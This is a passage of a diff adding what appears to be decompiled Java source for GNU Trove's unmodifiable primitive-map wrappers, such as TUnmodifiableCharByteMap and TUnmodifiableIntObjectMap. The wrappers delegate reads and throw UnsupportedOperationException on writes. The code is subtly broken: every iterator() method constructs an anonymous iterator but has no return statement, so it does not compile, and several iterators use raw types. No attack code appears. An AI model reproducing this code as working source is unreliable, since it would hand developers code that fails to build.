+    private transient gnu.trove.set.TCharSet keySet = null;
+    private transient TLongCollection values = null;
+    
+    public gnu.trove.set.TCharSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public char[] keys() { return m.keys(); }
+    public char[] keys(char[] array) { return m.keys(array); }
+    
+    public TLongCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public long[] values() { return m.values(); }
+    public long[] values(long[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public char getNoEntryKey() { return m.getNoEntryKey(); }
+    public long getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TCharProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TLongProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TCharLongProcedure procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TCharLongIterator iterator() {
+      new gnu.trove.iterator.TCharLongIterator() {
+        gnu.trove.iterator.TCharLongIterator iter = m.iterator();
+        
+        public char key() { return iter.key(); }
+        public long value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public long setValue(long val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public long putIfAbsent(char key, long value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TLongFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TCharLongProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(char key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(char key, long amount) { throw new UnsupportedOperationException(); }
+    public long adjustOrPutValue(char key, long adjust_amount, long put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableCharByteMap
+    implements gnu.trove.map.TCharByteMap, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final gnu.trove.map.TCharByteMap m;
+    
+    public TUnmodifiableCharByteMap(gnu.trove.map.TCharByteMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(char key) { return m.containsKey(key); }
+    public boolean containsValue(byte val) { return m.containsValue(val); }
+    public byte get(char key) { return m.get(key); }
+    
+    public byte put(char key, byte value) { throw new UnsupportedOperationException(); }
+    public byte remove(char key) { throw new UnsupportedOperationException(); }
+    public void putAll(gnu.trove.map.TCharByteMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Character, ? extends Byte> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TCharSet keySet = null;
+    private transient TByteCollection values = null;
+    
+    public gnu.trove.set.TCharSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public char[] keys() { return m.keys(); }
+    public char[] keys(char[] array) { return m.keys(array); }
+    
+    public TByteCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public byte[] values() { return m.values(); }
+    public byte[] values(byte[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public char getNoEntryKey() { return m.getNoEntryKey(); }
+    public byte getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TCharProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TByteProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TCharByteProcedure procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TCharByteIterator iterator() {
+      new gnu.trove.iterator.TCharByteIterator() {
+        gnu.trove.iterator.TCharByteIterator iter = m.iterator();
+        
+        public char key() { return iter.key(); }
+        public byte value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public byte setValue(byte val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public byte putIfAbsent(char key, byte value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TByteFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TCharByteProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(char key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(char key, byte amount) { throw new UnsupportedOperationException(); }
+    public byte adjustOrPutValue(char key, byte adjust_amount, byte put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableCharShortMap
+    implements TCharShortMap, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final TCharShortMap m;
+    
+    public TUnmodifiableCharShortMap(TCharShortMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(char key) { return m.containsKey(key); }
+    public boolean containsValue(short val) { return m.containsValue(val); }
+    public short get(char key) { return m.get(key); }
+    
+    public short put(char key, short value) { throw new UnsupportedOperationException(); }
+    public short remove(char key) { throw new UnsupportedOperationException(); }
+    public void putAll(TCharShortMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Character, ? extends Short> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TCharSet keySet = null;
+    private transient TShortCollection values = null;
+    
+    public gnu.trove.set.TCharSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public char[] keys() { return m.keys(); }
+    public char[] keys(char[] array) { return m.keys(array); }
+    
+    public TShortCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public short[] values() { return m.values(); }
+    public short[] values(short[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public char getNoEntryKey() { return m.getNoEntryKey(); }
+    public short getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TCharProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TShortProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TCharShortProcedure procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TCharShortIterator iterator() {
+      new gnu.trove.iterator.TCharShortIterator() {
+        gnu.trove.iterator.TCharShortIterator iter = m.iterator();
+        
+        public char key() { return iter.key(); }
+        public short value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public short setValue(short val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public short putIfAbsent(char key, short value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TShortFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TCharShortProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(char key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(char key, short amount) { throw new UnsupportedOperationException(); }
+    public short adjustOrPutValue(char key, short adjust_amount, short put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableCharCharMap
+    implements gnu.trove.map.TCharCharMap, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final gnu.trove.map.TCharCharMap m;
+    
+    public TUnmodifiableCharCharMap(gnu.trove.map.TCharCharMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(char key) { return m.containsKey(key); }
+    public boolean containsValue(char val) { return m.containsValue(val); }
+    public char get(char key) { return m.get(key); }
+    
+    public char put(char key, char value) { throw new UnsupportedOperationException(); }
+    public char remove(char key) { throw new UnsupportedOperationException(); }
+    public void putAll(gnu.trove.map.TCharCharMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Character, ? extends Character> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TCharSet keySet = null;
+    private transient TCharCollection values = null;
+    
+    public gnu.trove.set.TCharSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public char[] keys() { return m.keys(); }
+    public char[] keys(char[] array) { return m.keys(array); }
+    
+    public TCharCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public char[] values() { return m.values(); }
+    public char[] values(char[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public char getNoEntryKey() { return m.getNoEntryKey(); }
+    public char getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TCharProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TCharProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TCharCharProcedure procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TCharCharIterator iterator() {
+      new gnu.trove.iterator.TCharCharIterator() {
+        gnu.trove.iterator.TCharCharIterator iter = m.iterator();
+        
+        public char key() { return iter.key(); }
+        public char value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public char setValue(char val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public char putIfAbsent(char key, char value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TCharFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TCharCharProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(char key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(char key, char amount) { throw new UnsupportedOperationException(); }
+    public char adjustOrPutValue(char key, char adjust_amount, char put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableDoubleObjectMap<V>
+    implements gnu.trove.map.TDoubleObjectMap<V>, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final gnu.trove.map.TDoubleObjectMap<V> m;
+    
+
+    public TUnmodifiableDoubleObjectMap(gnu.trove.map.TDoubleObjectMap<V> m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(double key) { return m.containsKey(key); }
+    public boolean containsValue(Object val) { return m.containsValue(val); }
+    public V get(double key) { return m.get(key); }
+    
+    public V put(double key, V value) { throw new UnsupportedOperationException(); }
+    public V remove(double key) { throw new UnsupportedOperationException(); }
+    public void putAll(gnu.trove.map.TDoubleObjectMap<V> m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Double, ? extends V> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TDoubleSet keySet = null;
+    private transient Collection<V> values = null;
+    
+    public gnu.trove.set.TDoubleSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public double[] keys() { return m.keys(); }
+    public double[] keys(double[] array) { return m.keys(array); }
+    
+    public Collection<V> valueCollection() {
+      if (values == null)
+        values = java.util.Collections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public V[] values() { return m.values(); }
+    public <T> T[] values(T[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public double getNoEntryKey() { return m.getNoEntryKey(); }
+    
+    public boolean forEachKey(TDoubleProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TObjectProcedure<V> procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TDoubleObjectProcedure<V> procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TDoubleObjectIterator<V> iterator() {
+      new gnu.trove.iterator.TDoubleObjectIterator() {
+        gnu.trove.iterator.TDoubleObjectIterator<V> iter = m.iterator();
+        
+        public double key() { return iter.key(); }
+        public V value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public V setValue(V val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public V putIfAbsent(double key, V value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TObjectFunction<V, V> function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TDoubleObjectProcedure<V> procedure) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableFloatObjectMap<V>
+    implements gnu.trove.map.TFloatObjectMap<V>, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final gnu.trove.map.TFloatObjectMap<V> m;
+    
+    public TUnmodifiableFloatObjectMap(gnu.trove.map.TFloatObjectMap<V> m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(float key) { return m.containsKey(key); }
+    public boolean containsValue(Object val) { return m.containsValue(val); }
+    public V get(float key) { return m.get(key); }
+    
+    public V put(float key, V value) { throw new UnsupportedOperationException(); }
+    public V remove(float key) { throw new UnsupportedOperationException(); }
+    public void putAll(gnu.trove.map.TFloatObjectMap<V> m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Float, ? extends V> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TFloatSet keySet = null;
+    private transient Collection<V> values = null;
+    
+    public gnu.trove.set.TFloatSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public float[] keys() { return m.keys(); }
+    public float[] keys(float[] array) { return m.keys(array); }
+    
+    public Collection<V> valueCollection() {
+      if (values == null)
+        values = java.util.Collections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public V[] values() { return m.values(); }
+    public <T> T[] values(T[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public float getNoEntryKey() { return m.getNoEntryKey(); }
+    
+    public boolean forEachKey(TFloatProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TObjectProcedure<V> procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TFloatObjectProcedure<V> procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TFloatObjectIterator<V> iterator() {
+      new gnu.trove.iterator.TFloatObjectIterator() {
+        gnu.trove.iterator.TFloatObjectIterator<V> iter = m.iterator();
+        
+        public float key() { return iter.key(); }
+        public V value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public V setValue(V val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public V putIfAbsent(float key, V value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TObjectFunction<V, V> function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TFloatObjectProcedure<V> procedure) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableIntObjectMap<V>
+    implements gnu.trove.map.TIntObjectMap<V>, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final gnu.trove.map.TIntObjectMap<V> m;
+    
+    public TUnmodifiableIntObjectMap(gnu.trove.map.TIntObjectMap<V> m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(int key) { return m.containsKey(key); }
+    public boolean containsValue(Object val) { return m.containsValue(val); }
+    public V get(int key) { return m.get(key); }
+    
+    public V put(int key, V value) { throw new UnsupportedOperationException(); }
+    public V remove(int key) { throw new UnsupportedOperationException(); }
+    public void putAll(gnu.trove.map.TIntObjectMap<V> m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Integer, ? extends V> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TIntSet keySet = null;
+    private transient Collection<V> values = null;
+    
+    public gnu.trove.set.TIntSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public int[] keys() { return m.keys(); }
+    public int[] keys(int[] array) { return m.keys(array); }
+    
+    public Collection<V> valueCollection() {
+      if (values == null)
+        values = java.util.Collections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public V[] values() { return m.values(); }
+    public <T> T[] values(T[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public int getNoEntryKey() { return m.getNoEntryKey(); }
+    
+    public boolean forEachKey(TIntProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TObjectProcedure<V> procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TIntObjectProcedure<V> procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TIntObjectIterator<V> iterator() {
+      new gnu.trove.iterator.TIntObjectIterator() {
+        gnu.trove.iterator.TIntObjectIterator<V> iter = m.iterator();
+        
+        public int key() { return iter.key(); }
+        public V value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public V setValue(V val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public V putIfAbsent(int key, V value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TObjectFunction<V, V> function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TIntObjectProcedure<V> procedure) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableLongObjectMap<V>
+    implements gnu.trove.map.TLongObjectMap<V>, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final gnu.trove.map.TLongObjectMap<V> m;
+    
+    public TUnmodifiableLongObjectMap(gnu.trove.map.TLongObjectMap<V> m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(long key) { return m.containsKey(key); }
+    public boolean containsValue(Object val) { return m.containsValue(val); }
+    public V get(long key) { return m.get(key); }
+    
+    public V put(long key, V value) { throw new UnsupportedOperationException(); }
+    public V remove(long key) { throw new UnsupportedOperationException(); }
+    public void putAll(gnu.trove.map.TLongObjectMap<V> m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Long, ? extends V> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TLongSet keySet = null;
+    private transient Collection<V> values = null;
+    
+    public gnu.trove.set.TLongSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public long[] keys() { return m.keys(); }
+    public long[] keys(long[] array) { return m.keys(array); }
+    
+    public Collection<V> valueCollection() {
+      if (values == null)
+        values = java.util.Collections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public V[] values() { return m.values(); }
+    public <T> T[] values(T[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public long getNoEntryKey() { return m.getNoEntryKey(); }
+    
+    public boolean forEachKey(TLongProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TObjectProcedure<V> procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TLongObjectProcedure<V> procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TLongObjectIterator<V> iterator() {
+      new gnu.trove.iterator.TLongObjectIterator() {
+        gnu.trove.iterator.TLongObjectIterator<V> iter = m.iterator();
+        
+        public long key() { return iter.key(); }
+        public V value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public V setValue(V val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public V putIfAbsent(long key, V value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TObjectFunction<V, V> function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TLongObjectProcedure<V> procedure) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableByteObjectMap<V>
+    implements gnu.trove.map.TByteObjectMap<V>, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final gnu.trove.map.TByteObjectMap<V> m;
+    
+    public TUnmodifiableByteObjectMap(gnu.trove.map.TByteObjectMap<V> m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(byte key) { return m.containsKey(key); }
+    public boolean containsValue(Object val) { return m.containsValue(val); }
+    public V get(byte key) { return m.get(key); }
+    
+    public V put(byte key, V value) { throw new UnsupportedOperationException(); }
+    public V remove(byte key) { throw new UnsupportedOperationException(); }
+    public void putAll(gnu.trove.map.TByteObjectMap<V> m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Byte, ? extends V> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TByteSet keySet = null;
+    private transient Collection<V> values = null;
+    
+    public gnu.trove.set.TByteSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public byte[] keys() { return m.keys(); }
+    public byte[] keys(byte[] array) { return m.keys(array); }
+    
+    public Collection<V> valueCollection() {
+      if (values == null)
+        values = java.util.Collections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public V[] values() { return m.values(); }
+    public <T> T[] values(T[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public byte getNoEntryKey() { return m.getNoEntryKey(); }
+    
+    public boolean forEachKey(TByteProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TObjectProcedure<V> procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TByteObjectProcedure<V> procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TByteObjectIterator<V> iterator() {
+      new gnu.trove.iterator.TByteObjectIterator() {
+        gnu.trove.iterator.TByteObjectIterator<V> iter = m.iterator();
+        
+        public byte key() { return iter.key(); }
+        public V value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public V setValue(V val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public V putIfAbsent(byte key, V value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TObjectFunction<V, V> function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TByteObjectProcedure<V> procedure) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableShortObjectMap<V>
+    implements gnu.trove.map.TShortObjectMap<V>, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final gnu.trove.map.TShortObjectMap<V> m;
+    
+    public TUnmodifiableShortObjectMap(gnu.trove.map.TShortObjectMap<V> m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(short key) { return m.containsKey(key); }
+    public boolean containsValue(Object val) { return m.containsValue(val); }
+    public V get(short key) { return m.get(key); }
+    
+    public V put(short key, V value) { throw new UnsupportedOperationException(); }
+    public V remove(short key) { throw new UnsupportedOperationException(); }
+    public void putAll(gnu.trove.map.TShortObjectMap<V> m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Short, ? extends V> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TShortSet keySet = null;
+    private transient Collection<V> values = null;
+    
+    public gnu.trove.set.TShortSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public short[] keys() { return m.keys(); }
+    public short[] keys(short[] array) { return m.keys(array); }
+    
+    public Collection<V> valueCollection() {
+      if (values == null)
+        values = java.util.Collections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public V[] values() { return m.values(); }
+    public <T> T[] values(T[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public short getNoEntryKey() { return m.getNoEntryKey(); }
+    
+    public boolean forEachKey(TShortProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TObjectProcedure<V> procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TShortObjectProcedure<V> procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TShortObjectIterator<V> iterator() {
+      new gnu.trove.iterator.TShortObjectIterator() {
+        gnu.trove.iterator.TShortObjectIterator<V> iter = m.iterator();
+        
+        public short key() { return iter.key(); }
+        public V value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public V setValue(V val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public V putIfAbsent(short key, V value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TObjectFunction<V, V> function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TShortObjectProcedure<V> procedure) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableCharObjectMap<V>
+    implements gnu.trove.map.TCharObjectMap<V>, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final gnu.trove.map.TCharObjectMap<V> m;
+    
+    public TUnmodifiableCharObjectMap(gnu.trove.map.TCharObjectMap<V> m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(char key) { return m.containsKey(key); }
+    public boolean containsValue(Object val) { return m.containsValue(val); }
+    public V get(char key) { return m.get(key); }
+    
+    public V put(char key, V value) { throw new UnsupportedOperationException(); }
+    public V remove(char key) { throw new UnsupportedOperationException(); }
+    public void putAll(gnu.trove.map.TCharObjectMap<V> m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Character, ? extends V> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TCharSet keySet = null;
+    private transient Collection<V> values = null;
+    
+    public gnu.trove.set.TCharSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public char[] keys() { return m.keys(); }
+    public char[] keys(char[] array) { return m.keys(array); }
+    
+    public Collection<V> valueCollection() {
+      if (values == null)
+        values = java.util.Collections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public V[] values() { return m.values(); }
+    public <T> T[] values(T[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
